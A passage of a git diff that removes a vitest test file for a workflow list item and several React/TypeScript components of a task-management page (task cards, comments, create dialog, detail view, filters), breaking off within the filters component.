-    useDuplicateWorkflowMutation: ({onError, onSuccess}: {onError: () => void; onSuccess: () => void}) => {
-        duplicateOnSuccess = onSuccess;
-        duplicateOnError = onError;
-
-        return {mutate: mockDuplicateMutate};
-    },
-    useUpdateWorkflowMutation: ({onSuccess}: {onSuccess: () => void}) => {
-        updateOnSuccess = onSuccess;
-
-        return {mutate: mockUpdateMutate};
-    },
-}));
-
-vi.mock('@/shared/queries/automation/workflows.queries', () => ({
-    WorkflowKeys: {
-        workflow: (id: string) => ['workflow', id],
-    },
-    useGetWorkflowQuery: () => ({data: null}),
-}));
-
-vi.mock('@/shared/queries/automation/projects.queries', () => ({
-    ProjectKeys: {
-        projects: ['projects'],
-    },
-}));
-
-vi.mock('@/shared/queries/automation/projectWorkflows.queries', () => ({
-    ProjectWorkflowKeys: {
-        projectWorkflows: (projectId: number) => ['projectWorkflows', projectId],
-    },
-}));
-
-vi.mock('@/shared/queries/platform/workflowTestConfigurations.queries', () => ({
-    WorkflowTestConfigurationKeys: {
-        workflowTestConfiguration: (workflowId: string) => ['workflowTestConfiguration', workflowId],
-    },
-}));
-
-vi.mock('@/shared/components/WorkflowComponentsList', () => ({
-    default: () => <div data-testid="workflow-components-list" />,
-}));
-
-vi.mock('@/shared/components/workflow/WorkflowDialog', () => ({
-    default: () => <div data-testid="workflow-dialog" />,
-}));
-
-vi.mock('@/shared/components/DeleteWorkflowAlertDialog', () => ({
-    default: () => <div data-testid="delete-workflow-dialog" />,
-}));
-
-const mockProject = {
-    id: 1,
-    lastProjectVersion: 1,
-    name: 'Test Project',
-    workspaceId: 1,
-};
-
-const mockWorkflow = {
-    id: 'workflow-1',
-    label: 'Test Workflow',
-    lastModifiedDate: new Date('2024-01-15T10:00:00'),
-    projectWorkflowId: 101,
-    workflowUuid: 'uuid-123',
-};
-
-const renderProjectWorkflowListItem = () => {
-    return render(
-        <TooltipProvider>
-            <ProjectWorkflowListItem
-                project={mockProject}
-                workflow={mockWorkflow}
-                workflowComponentDefinitions={{}}
-                workflowTaskDispatcherDefinitions={{}}
-            />
-        </TooltipProvider>
-    );
-};
-
-describe('ProjectWorkflowListItem', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    it('should render workflow label', () => {
-        renderProjectWorkflowListItem();
-
-        expect(screen.getByText('Test Workflow')).toBeInTheDocument();
-    });
-
-    it('should render last modified date', () => {
-        renderProjectWorkflowListItem();
-
-        expect(screen.getByText(/Modified at/)).toBeInTheDocument();
-    });
-
-    it('should render workflow components list', () => {
-        renderProjectWorkflowListItem();
-
-        expect(screen.getByTestId('workflow-components-list')).toBeInTheDocument();
-    });
-
-    it('should render link to workflow', () => {
-        renderProjectWorkflowListItem();
-
-        const link = screen.getByRole('link');
-
-        expect(link).toHaveAttribute('href', '/automation/projects/1/project-workflows/101?');
-    });
-
-    describe('deleteWorkflowMutation', () => {
-        it('should invalidate projects query on success', () => {
-            renderProjectWorkflowListItem();
-
-            deleteOnSuccess();
-
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({queryKey: ['projects']});
-        });
-    });
-
-    describe('duplicateWorkflowMutation', () => {
-        it('should invalidate projects query on success', () => {
-            renderProjectWorkflowListItem();
-
-            duplicateOnSuccess();
-
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({queryKey: ['projects']});
-        });
-
-        it('should invalidate projects query on error', () => {
-            renderProjectWorkflowListItem();
-
-            duplicateOnError();
-
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({queryKey: ['projects']});
-        });
-    });
-
-    describe('updateWorkflowMutation', () => {
-        it('should invalidate projects query on success', () => {
-            renderProjectWorkflowListItem();
-
-            updateOnSuccess();
-
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({queryKey: ['projects']});
-        });
-
-        it('should invalidate projectWorkflows query on success', () => {
-            renderProjectWorkflowListItem();
-
-            updateOnSuccess();
-
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({queryKey: ['projectWorkflows', 1]});
-        });
-
-        it('should invalidate workflowTestConfiguration query on success', () => {
-            renderProjectWorkflowListItem();
-
-            updateOnSuccess();
-
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['workflowTestConfiguration', 'workflow-1'],
-            });
-        });
-
-        it('should invalidate workflow query on success', () => {
-            renderProjectWorkflowListItem();
-
-            updateOnSuccess();
-
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({queryKey: ['workflow', 'workflow-1']});
-        });
-
-        it('should invalidate all required queries on success', () => {
-            renderProjectWorkflowListItem();
-
-            updateOnSuccess();
-
-            expect(mockInvalidateQueries).toHaveBeenCalledTimes(4);
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({queryKey: ['projects']});
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({queryKey: ['projectWorkflows', 1]});
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['workflowTestConfiguration', 'workflow-1'],
-            });
-            expect(mockInvalidateQueries).toHaveBeenCalledWith({queryKey: ['workflow', 'workflow-1']});
-        });
-    });
-});
diff --git a/client/src/pages/automation/tasks/Tasks.tsx b/client/src/pages/automation/tasks/Tasks.tsx
deleted file mode 100644
index 0588911d89f..00000000000
--- a/client/src/pages/automation/tasks/Tasks.tsx
+++ /dev/null
@@ -1,19 +0,0 @@
-'use client';
-
-import TaskDetail from './components/TaskDetail';
-import TaskList from './components/TaskList';
-import {useTasks} from './hooks/useTasks';
-
-export default function Tasks() {
-    useTasks();
-
-    return (
-        <div className="flex size-full bg-background">
-            <TaskList />
-
-            <div className="h-full flex-1">
-                <TaskDetail />
-            </div>
-        </div>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/TaskActiveFilterBadges.tsx b/client/src/pages/automation/tasks/components/TaskActiveFilterBadges.tsx
deleted file mode 100644
index f974209c451..00000000000
--- a/client/src/pages/automation/tasks/components/TaskActiveFilterBadges.tsx
+++ /dev/null
@@ -1,72 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
-import {XIcon} from 'lucide-react';
-
-import {getPriorityLabel, getStatusLabel} from '../utils/task-utils';
-import {useTaskActiveFilterBadges} from './hooks/useTaskActiveFilterBadges';
-
-export default function TaskActiveFilterBadges() {
-    const {
-        filters,
-        handleClearAssigneeFilter,
-        handleClearPriorityFilter,
-        handleClearStatusFilter,
-        handleResetFilters,
-        hasActiveFilters,
-    } = useTaskActiveFilterBadges();
-
-    if (!hasActiveFilters) {
-        return null;
-    }
-
-    return (
-        <div className="mb-3 flex flex-wrap items-center gap-2">
-            {filters.status !== 'all' && (
-                <Badge className="text-xs" styleType="primary-outline">
-                    <span>Status: {getStatusLabel(filters.status)}</span>
-
-                    <Button
-                        aria-label="Clear status filter"
-                        className="ml-1 size-4 p-0"
-                        icon={<XIcon className="size-3" />}
-                        onClick={handleClearStatusFilter}
-                        size="iconXxs"
-                        variant="ghost"
-                    />
-                </Badge>
-            )}
-
-            {filters.priority !== 'all' && (
-                <Badge className="text-xs" styleType="primary-outline">
-                    <span>Priority: {getPriorityLabel(filters.priority)}</span>
-
-                    <Button
-                        aria-label="Clear priority filter"
-                        className="ml-1 size-4 p-0"
-                        icon={<XIcon className="size-3" />}
-                        onClick={handleClearPriorityFilter}
-                        size="iconXxs"
-                        variant="ghost"
-                    />
-                </Badge>
-            )}
-
-            {filters.assignee !== 'all' && (
-                <Badge className="text-xs" styleType="primary-outline">
-                    <span>Assignee: {filters.assignee}</span>
-
-                    <Button
-                        aria-label="Clear assignee filter"
-                        className="ml-1 size-4 p-0"
-                        icon={<XIcon className="size-3" />}
-                        onClick={handleClearAssigneeFilter}
-                        size="iconXxs"
-                        variant="ghost"
-                    />
-                </Badge>
-            )}
-
-            <Button label="Clear all" onClick={handleResetFilters} size="xs" variant="link" />
-        </div>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/TaskCard.tsx b/client/src/pages/automation/tasks/components/TaskCard.tsx
deleted file mode 100644
index 52ce7bf317b..00000000000
--- a/client/src/pages/automation/tasks/components/TaskCard.tsx
+++ /dev/null
@@ -1,123 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import {AlertTriangleIcon, CalendarIcon, LinkIcon, MessageSquareIcon, PaperclipIcon} from 'lucide-react';
-import {twMerge} from 'tailwind-merge';
-
-import {useTasksStore} from '../stores/useTasksStore';
-import {isTaskOverdue} from '../utils/task-utils';
-
-import type {MouseEvent} from 'react';
-
-import type {TaskI} from '../types/types';
-
-interface TaskCardProps {
-    isSelected: boolean;
-    onSelect: () => void;
-    onStatusToggle: (event: MouseEvent) => void;
-    task: TaskI;
-}
-
-export default function TaskCard({isSelected, onSelect, onStatusToggle, task}: TaskCardProps) {
-    const {
-        getFormattedDueDate,
-        getHighlightedAssignee,
-        getHighlightedDescription,
-        getHighlightedTitle,
-        getPriorityColor,
-        getStatusIcon,
-    } = useTasksStore();
-
-    const highlightedTitle = getHighlightedTitle(task);
-    const highlightedDescription = getHighlightedDescription(task);
-    const highlightedAssignee = getHighlightedAssignee(task);
-    const statusIcon = getStatusIcon(task);
-    const priorityColor = getPriorityColor(task);
-    const formattedDueDate = getFormattedDueDate(task);
-    const isOverdue = isTaskOverdue(task);
-
-    return (
-        <div
-            className={twMerge(
-                'cursor-pointer rounded-lg border p-3 transition-colors hover:bg-muted/50',
-                isSelected ? 'border-primary bg-muted' : 'border-border bg-background'
-            )}
-            onClick={onSelect}
-        >
-            <div className="flex w-full items-start gap-3">
-                <div
-                    className="mt-0.5 shrink-0 cursor-pointer rounded-full p-1 transition-colors hover:bg-muted"
-                    onClick={onStatusToggle}
-                    title={`Click to change status (currently: ${task.status.replace('-', ' ')})`}
-                >
-                    {statusIcon}
-                </div>
-
-                <div className="min-w-0 flex-1 overflow-hidden">
-                    <div className="mb-1 flex flex-wrap items-center gap-2">
-                        <h3 className="min-w-0 flex-1 truncate text-sm font-medium text-foreground">
-                            {highlightedTitle}
-                        </h3>
-
-                        <div className="flex shrink-0 items-center gap-1">
-                            <Badge
-                                className={twMerge('text-xs', priorityColor)}
-                                label={task.priority}
-                                styleType="outline-outline"
-                            />
-
-                            {isOverdue && (
-                                <Badge
-                                    className="text-xs"
-                                    icon={<AlertTriangleIcon className="mr-1 size-3" />}
-                                    label="Overdue"
-                                    styleType="destructive-filled"
-                                />
-                            )}
-                        </div>
-                    </div>
-
-                    <p className="mb-2 line-clamp-2 break-words text-xs text-muted-foreground">
-                        {highlightedDescription}
-                    </p>
-
-                    <div className="flex items-center justify-between text-xs text-muted-foreground">
-                        <span className="mr-2 min-w-0 flex-1 truncate">{highlightedAssignee}</span>
-
-                        <div className="flex shrink-0 items-center gap-2">
-                            {formattedDueDate && (
-                                <div className="flex items-center gap-1">
-                                    <CalendarIcon className="size-3" />
-
-                                    <span>{formattedDueDate}</span>
-                                </div>
-                            )}
-
-                            {task.comments.length > 0 && (
-                                <div className="flex items-center gap-1">
-                                    <MessageSquareIcon className="size-3" />
-
-                                    <span>{task.comments.length}</span>
-                                </div>
-                            )}
-
-                            {task.attachments.length > 0 && (
-                                <div className="flex items-center gap-1">
-                                    <PaperclipIcon className="size-3" />
-
-                                    <span>{task.attachments.length}</span>
-                                </div>
-                            )}
-
-                            {task.dependencies.length > 0 && (
-                                <div className="flex items-center gap-1">
-                                    <LinkIcon className="size-3" />
-
-                                    <span>{task.dependencies.length}</span>
-                                </div>
-                            )}
-                        </div>
-                    </div>
-                </div>
-            </div>
-        </div>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/TaskComments.tsx b/client/src/pages/automation/tasks/components/TaskComments.tsx
deleted file mode 100644
index 13911c98093..00000000000
--- a/client/src/pages/automation/tasks/components/TaskComments.tsx
+++ /dev/null
@@ -1,90 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Avatar, AvatarFallback} from '@/components/ui/avatar';
-import {Card, CardContent} from '@/components/ui/card';
-import {Textarea} from '@/components/ui/textarea';
-import {MessageSquareIcon, SendIcon} from 'lucide-react';
-
-import {formatTimestamp, getInitials} from '../utils/task-utils';
-import {useTaskComments} from './hooks/useTaskComments';
-
-import type {TaskCommentI} from '../types/types';
-
-interface TaskCommentsProps {
-    comments: TaskCommentI[];
-}
-
-export default function TaskComments({comments}: TaskCommentsProps) {
-    const {canSubmit, handleCommentChange, handleSubmitComment, newComment} = useTaskComments();
-
-    return (
-        <>
-            <h3 className="mb-4 text-lg font-medium text-foreground">Comments ({comments.length})</h3>
-
-            <div className="space-y-4">
-                {comments.length > 0 ? (
-                    comments.map((comment) => {
-                        const authorInitials = getInitials(comment.author);
-                        const formattedTimestamp = formatTimestamp(comment.timestamp);
-
-                        return (
-                            <Card key={comment.id}>
-                                <CardContent className="flex items-start gap-3 p-4">
-                                    <Avatar className="size-8">
-                                        <AvatarFallback className="text-xs">{authorInitials}</AvatarFallback>
-                                    </Avatar>
-
-                                    <div className="flex-1">
-                                        <div className="mb-1 flex items-center gap-2">
-                                            <span className="text-sm font-medium">{comment.author}</span>
-
-                                            <span className="text-xs text-muted-foreground">{formattedTimestamp}</span>
-                                        </div>
-
-                                        <p className="text-sm text-muted-foreground">{comment.content}</p>
-                                    </div>
-                                </CardContent>
-                            </Card>
-                        );
-                    })
-                ) : (
-                    <div className="py-8 text-center">
-                        <MessageSquareIcon className="mx-auto mb-2 size-8 text-muted-foreground" />
-
-                        <p className="text-sm font-medium text-foreground">No comments yet</p>
-
-                        <p className="text-xs text-muted-foreground">Be the first to add a comment</p>
-                    </div>
-                )}
-
-                <Card>
-                    <CardContent className="flex items-start gap-3 p-4">
-                        <Avatar className="size-8">
-                            <AvatarFallback className="text-xs">CU</AvatarFallback>
-                        </Avatar>
-
-                        <div className="flex-1 space-y-2">
-                            <Textarea
-                                className="min-h-[80px]"
-                                onChange={(event) => handleCommentChange(event.target.value)}
-                                placeholder="Add a comment..."
-                                value={newComment}
-                            />
-
-                            <div className="flex justify-end">
-                                <Button
-                                    className="flex items-center gap-2"
-                                    disabled={!canSubmit}
-                                    onClick={handleSubmitComment}
-                                    size="sm"
-                                >
-                                    <SendIcon className="size-3" />
-                                    Add Comment
-                                </Button>
-                            </div>
-                        </div>
-                    </CardContent>
-                </Card>
-            </div>
-        </>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/TaskCreateDialog.tsx b/client/src/pages/automation/tasks/components/TaskCreateDialog.tsx
deleted file mode 100644
index c641cf46733..00000000000
--- a/client/src/pages/automation/tasks/components/TaskCreateDialog.tsx
+++ /dev/null
@@ -1,220 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
-import DatePicker from '@/components/DatePicker/DatePicker';
-import RequiredMark from '@/components/RequiredMark';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-    DialogTrigger,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
-import {Textarea} from '@/components/ui/textarea';
-import {CheckCircle2Icon, CircleIcon, ClockIcon, UserIcon} from 'lucide-react';
-import {ReactNode} from 'react';
-
-import {useTaskCreateDialog} from './hooks/useTaskCreateDialog';
-
-interface TaskCreateDialogProps {
-    trigger?: ReactNode;
-}
-
-export default function TaskCreateDialog({trigger}: TaskCreateDialogProps) {
-    const {
-        availableAssignees,
-        errors,
-        form,
-        handleCloseDialog,
-        handleFormChange,
-        handleOpenChange,
-        handleSubmit,
-        isOpen,
-    } = useTaskCreateDialog();
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={isOpen}>
-            <DialogTrigger asChild>{trigger ?? <Button label="New Task" />}</DialogTrigger>
-
-            <DialogContent className="max-h-[90vh] overflow-y-auto sm:max-w-workflow-test-configuration-dialog-width">
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Create New Task</DialogTitle>
-
-                        <DialogDescription>
-                            Add a new task to your project. Fill in the details below to get started.
-                        </DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-4 py-4">
-                    <fieldset className="space-y-2 border-0">
-                        <Label htmlFor="task-title">
-                            Title
-                            <RequiredMark />
-                        </Label>
-
-                        <Input
-                            className={errors.title ? 'border-red-500' : ''}
-                            id="task-title"
-                            onChange={(event) => handleFormChange('title', event.target.value)}
-                            placeholder="Enter task title"
-                            value={form.title}
-                        />
-
-                        {errors.title && <p className="text-sm text-red-500">{errors.title}</p>}
-                    </fieldset>
-
-                    <fieldset className="space-y-2 border-0">
-                        <Label htmlFor="task-description">
-                            Description
-                            <RequiredMark />
-                        </Label>
-
-                        <Textarea
-                            className={`min-h-[80px] ${errors.description ? 'border-red-500' : ''}`}
-                            id="task-description"
-                            onChange={(event) => handleFormChange('description', event.target.value)}
-                            placeholder="Describe what needs to be done"
-                            value={form.description}
-                        />
-
-                        {errors.description && <p className="text-sm text-red-500">{errors.description}</p>}
-                    </fieldset>
-
-                    <div className="grid grid-cols-2 gap-4">
-                        <fieldset className="space-y-2 border-0">
-                            <Label>Status</Label>
-
-                            <Select onValueChange={(value) => handleFormChange('status', value)} value={form.status}>
-                                <SelectTrigger>
-                                    <SelectValue placeholder="Select a status" />
-                                </SelectTrigger>
-
-                                <SelectContent>
-                                    <SelectItem value="open">
-                                        <span className="flex items-center gap-2">
-                                            <CircleIcon className="size-3 text-gray-400" />
-                                            Open
-                                        </span>
-                                    </SelectItem>
-
-                                    <SelectItem value="in-progress">
-                                        <span className="flex items-center gap-2">
-                                            <ClockIcon className="size-3 text-blue-600" />
-                                            In Progress
-                                        </span>
-                                    </SelectItem>
-
-                                    <SelectItem value="completed">
-                                        <span className="flex items-center gap-2">
-                                            <CheckCircle2Icon className="size-3 text-green-600" />
-                                            Completed
-                                        </span>
-                                    </SelectItem>
-                                </SelectContent>
-                            </Select>
-                        </fieldset>
-
-                        <fieldset className="space-y-2 border-0">
-                            <Label>Priority</Label>
-
-                            <Select
-                                onValueChange={(value) => handleFormChange('priority', value)}
-                                value={form.priority}
-                            >
-                                <SelectTrigger>
-                                    <SelectValue placeholder="Select a priority" />
-                                </SelectTrigger>
-
-                                <SelectContent>
-                                    <SelectItem value="high">
-                                        <Badge
-                                            className="border-red-200 bg-red-100 text-red-800"
-                                            label="High"
-                                            styleType="outline-outline"
-                                        />
-                                    </SelectItem>
-
-                                    <SelectItem value="medium">
-                                        <Badge
-                                            className="border-yellow-200 bg-yellow-100 text-yellow-800"
-                                            label="Medium"
-                                            styleType="outline-outline"
-                                        />
-                                    </SelectItem>
-
-                                    <SelectItem value="low">
-                                        <Badge
-                                            className="border-green-200 bg-green-100 text-green-800"
-                                            label="Low"
-                                            styleType="outline-outline"
-                                        />
-                                    </SelectItem>
-                                </SelectContent>
-                            </Select>
-                        </fieldset>
-                    </div>
-
-                    <div className="grid grid-cols-2 gap-4">
-                        <fieldset className="space-y-2 border-0">
-                            <Label>
-                                Assignee
-                                <RequiredMark />
-                            </Label>
-
-                            <Select
-                                onValueChange={(value) => handleFormChange('assignee', value)}
-                                value={form.assignee}
-                            >
-                                <SelectTrigger className={errors.assignee ? 'border-red-500' : ''}>
-                                    <SelectValue placeholder="Select an assignee" />
-                                </SelectTrigger>
-
-                                <SelectContent>
-                                    {availableAssignees.map((assignee) => (
-                                        <SelectItem key={assignee} value={assignee}>
-                                            <span className="flex items-center gap-2">
-                                                <UserIcon className="size-3 text-muted-foreground" />
-
-                                                {assignee}
-                                            </span>
-                                        </SelectItem>
-                                    ))}
-                                </SelectContent>
-                            </Select>
-
-                            {errors.assignee && <p className="text-sm text-red-500">{errors.assignee}</p>}
-                        </fieldset>
-
-                        <fieldset className="space-y-2 border-0">
-                            <Label>Due Date</Label>
-
-                            <DatePicker
-                                onChange={(date) =>
-                                    handleFormChange('dueDate', date ? date.toISOString().split('T')[0] : '')
-                                }
-                                value={form.dueDate ? new Date(form.dueDate) : undefined}
-                            />
-                        </fieldset>
-                    </div>
-                </div>
-
-                <DialogFooter>
-                    <Button onClick={handleCloseDialog} variant="outline">
-                        Cancel
-                    </Button>
-
-                    <Button onClick={handleSubmit}>Create Task</Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/TaskDetail.tsx b/client/src/pages/automation/tasks/components/TaskDetail.tsx
deleted file mode 100644
index 8a670a3846e..00000000000
--- a/client/src/pages/automation/tasks/components/TaskDetail.tsx
+++ /dev/null
@@ -1,242 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
-import {Textarea} from '@/components/ui/textarea';
-import {
-    AlertTriangleIcon,
-    CheckCircle2Icon,
-    CircleIcon,
-    ClockIcon,
-    EditIcon,
-    SaveIcon,
-    UserIcon,
-    XCircleIcon,
-} from 'lucide-react';
-
-import {isTaskOverdue} from '../utils/task-utils';
-import TaskComments from './TaskComments';
-import {useTaskDetail} from './hooks/useTaskDetail';
-
-export default function TaskDetail() {
-    const {
-        availableAssignees,
-        createdAtFormatted,
-        displayTask,
-        handleCancel,
-        handleEdit,
-        handleFieldChange,
-        handleSave,
-        isEditing,
-        priorityColor,
-        statusIcon,
-        task,
-    } = useTaskDetail();
-
-    if (!task) {
-        return (
-            <div className="flex h-full items-center justify-center text-center">
-                <CircleIcon className="mx-auto mb-4 size-12 text-muted-foreground" />
-
-                <h2 className="text-lg font-medium text-foreground">Select a task</h2>
-
-                <p className="text-sm text-muted-foreground">Choose a task from the sidebar to view details</p>
-            </div>
-        );
-    }
-
-    if (!displayTask) {
-        return null;
-    }
-
-    return (
-        <div className="h-full overflow-y-auto p-6">
-            <div className="mb-6">
-                <div className="mb-4 flex items-start justify-between gap-4">
-                    <div className="flex min-w-0 flex-1 items-center gap-3">
-                        {isEditing ? (
-                            <Input
-                                className="flex-1 text-lg font-semibold"
-                                onChange={(event) => handleFieldChange('title', event.target.value)}
-                                value={displayTask.title}
-                            />
-                        ) : (
-                            <h1 className="text-xl font-semibold text-foreground">{displayTask.title}</h1>
-                        )}
-                    </div>
-
-                    <div className="flex shrink-0 items-center gap-2">
-                        {isEditing && (
-                            <Select
-                                onValueChange={(value) => handleFieldChange('priority', value)}
-                                value={displayTask.priority}
-                            >
-                                <SelectTrigger className="w-32">
-                                    <SelectValue />
-                                </SelectTrigger>
-
-                                <SelectContent>
-                                    <SelectItem value="high">High</SelectItem>
-
-                                    <SelectItem value="medium">Medium</SelectItem>
-
-                                    <SelectItem value="low">Low</SelectItem>
-                                </SelectContent>
-                            </Select>
-                        )}
-
-                        {!isEditing && isTaskOverdue(displayTask) && (
-                            <Badge
-                                className="text-red-600"
-                                icon={<AlertTriangleIcon className="size-3" />}
-                                label="Overdue"
-                                styleType="destructive-outline"
-                            />
-                        )}
-
-                        {isEditing ? (
-                            <>
-                                <Button icon={<SaveIcon className="size-4" />} onClick={handleSave} size="sm">
-                                    Save
-                                </Button>
-
-                                <Button
-                                    icon={<XCircleIcon className="size-4" />}
-                                    onClick={handleCancel}
-                                    size="sm"
-                                    variant="outline"
-                                >
-                                    Cancel
-                                </Button>
-                            </>
-                        ) : (
-                            <Button
-                                icon={<EditIcon className="size-4" />}
-                                onClick={handleEdit}
-                                size="sm"
-                                variant="outline"
-                            >
-                                Edit
-                            </Button>
-                        )}
-                    </div>
-                </div>
-            </div>
-
-            <fieldset className="mb-6 border-0">
-                <span className="mb-2 block text-sm font-medium text-foreground">Description</span>
-
-                {isEditing ? (
-                    <Textarea
-                        className="min-h-[100px]"
-                        onChange={(event) => handleFieldChange('description', event.target.value)}
-                        placeholder="Add a description..."
-                        value={displayTask.description}
-                    />
-                ) : (
-                    <p className="text-sm text-muted-foreground">
-                        {displayTask.description || 'No description provided'}
-                    </p>
-                )}
-            </fieldset>
-
-            <div className="mb-6 grid w-8/12 grid-cols-2">
-                <fieldset className="border-0">
-                    <Label className="mb-2 block text-sm font-medium text-foreground">Status</Label>
-
-                    {isEditing ? (
-                        <Select
-                            onValueChange={(value) => handleFieldChange('status', value)}
-                            value={displayTask.status}
-                        >
-                            <SelectTrigger>
-                                <SelectValue />
-                            </SelectTrigger>
-
-                            <SelectContent>
-                                <SelectItem value="open">
-                                    <div className="flex items-center gap-2">
-                                        <CircleIcon className="size-4 text-gray-500" />
-                                        Open
-                                    </div>
-                                </SelectItem>
-
-                                <SelectItem value="in-progress">
-                                    <div className="flex items-center gap-2">
-                                        <ClockIcon className="size-4 text-blue-500" />
-                                        In Progress
-                                    </div>
-                                </SelectItem>
-
-                                <SelectItem value="completed">
-                                    <div className="flex items-center gap-2">
-                                        <CheckCircle2Icon className="size-4 text-green-500" />
-                                        Completed
-                                    </div>
-                                </SelectItem>
-                            </SelectContent>
-                        </Select>
-                    ) : (
-                        <div className="flex items-center gap-2 text-sm text-muted-foreground">
-                            {statusIcon}
-
-                            <span className="capitalize">{displayTask.status.replace('-', ' ')}</span>
-                        </div>
-                    )}
-                </fieldset>
-
-                <div>
-                    <span className="mb-2 block text-sm font-medium text-foreground">Created</span>
-
-                    <p className="text-sm text-muted-foreground">{createdAtFormatted}</p>
-                </div>
-
-                <fieldset className="border-0">
-                    <Label className="mb-2 block text-sm font-medium text-foreground">Assignee</Label>
-
-                    {isEditing ? (
-                        <Select
-                            onValueChange={(value) => handleFieldChange('assignee', value)}
-                            value={displayTask.assignee}
-                        >
-                            <SelectTrigger>
-                                <SelectValue />
-                            </SelectTrigger>
-
-                            <SelectContent>
-                                {availableAssignees.map((assignee) => (
-                                    <SelectItem key={assignee} value={assignee}>
-                                        <div className="flex items-center gap-2">
-                                            <UserIcon className="size-4" />
-
-                                            {assignee}
-                                        </div>
-                                    </SelectItem>
-                                ))}
-                            </SelectContent>
-                        </Select>
-                    ) : (
-                        <div className="flex items-center gap-2 text-sm text-muted-foreground">
-                            <UserIcon className="size-4" />
-
-                            {displayTask.assignee}
-                        </div>
-                    )}
-                </fieldset>
-
-                {!isEditing && (
-                    <div>
-                        <span className="mb-2 block text-sm font-medium text-foreground">Priority</span>
-
-                        <Badge className={priorityColor} label={displayTask.priority} styleType="outline-outline" />
-                    </div>
-                )}
-            </div>
-
-            <div className="mb-6">
-                <TaskComments comments={displayTask.comments} />
-            </div>
-        </div>
-    );
-}
diff --git a/client/src/pages/automation/tasks/components/TaskFilters.tsx b/client/src/pages/automation/tasks/components/TaskFilters.tsx
deleted file mode 100644
index 03ca61261f9..00000000000
--- a/client/src/pages/automation/tasks/components/TaskFilters.tsx
+++ /dev/null
@@ -1,236 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
-import {
-    DropdownMenu,
-    DropdownMenuContent,
-    DropdownMenuGroup,
-    DropdownMenuItem,
-    DropdownMenuLabel,
-    DropdownMenuSeparator,
-    DropdownMenuTrigger,
-} from '@/components/ui/dropdown-menu';
-import {CheckCircle2Icon, CheckIcon, CircleIcon, ClockIcon, SlidersHorizontalIcon, UserIcon, XIcon} from 'lucide-react';
-
-import {useTaskFilters} from './hooks/useTaskFilters';
-
-export default function TaskFilters() {
-    const {
-        assigneeCounts,
-        assignees,
-        filters,
-        handleAssigneeChange,
-        handlePriorityChange,
-        handleResetFilters,
-        handleStatusChange,
-        hasActiveFilters,
-        priorityCounts,
-        taskCounts,
-    } = useTaskFilters();
-
-    return (
-        <DropdownMenu>
-            <DropdownMenuTrigger asChild>
-                <Button
-                    aria-label="Filter options"
-                    className="size-6 shrink-0"
-                    icon={<SlidersHorizontalIcon className="size-4" />}
-                    size="icon"
-                    variant={hasActiveFilters ? 'default' : 'ghost'}
-                />
-            </DropdownMenuTrigger>
-
-            <DropdownMenuContent align="end" className="w-56">
-                <DropdownMenuLabel>Filter Tasks</DropdownMenuLabel>
-
-                <DropdownMenuSeparator />
-
-                <DropdownMenuGroup>
-                    <DropdownMenuLabel className="text-xs font-normal text-muted-foreground">Status</DropdownMenuLabel>
-
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        onClick={() => handleStatusChange('all')}
-                    >
-                        <span>All</span>
-
-                        {filters.status === 'all' && <CheckIcon className="size-4" />}
-
-                        <span className="ml-auto text-xs text-muted-foreground">({taskCounts.all})</span>
-                    </DropdownMenuItem>
-
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        onClick={() => handleStatusChange('open')}
-                    >
-                        <div className="flex items-center">
-                            <CircleIcon className="mr-2 size-3 text-gray-400" />
-
-                            <span>Open</span>
-                        </div>
-
-                        {filters.status === 'open' && <CheckIcon className="size-4" />}
-
-                        <span className="ml-auto text-xs text-muted-foreground">({taskCounts.open})</span>
-                    </DropdownMenuItem>
-
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        onClick={() => handleStatusChange('in-progress')}
-                    >
-                        <div className="flex items-center">
-                            <ClockIcon className="mr-2 size-3 text-blue-600" />
-
-                            <span>In Progress</span>
-                        </div>
-
-                        {filters.status === 'in-progress' && <CheckIcon className="size-4" />}
-
-                        <span className="ml-auto text-xs text-muted-foreground">({taskCounts['in-progress']})</span>
-                    </DropdownMenuItem>
-
-                    <DropdownMenuItem
-                        className="flex items-center justify-between"
-                        onClick={() => handleStatusChange('completed')}
-                    >
-                        <div className="flex items-center">
-                            <CheckCircle2Icon className="mr-2 size-3 text-green-600" />
-
-                            <span>Completed</span>
-                        </div>
-
-                        {filters.status === 'completed' && <CheckIcon className="size-4" />}
-
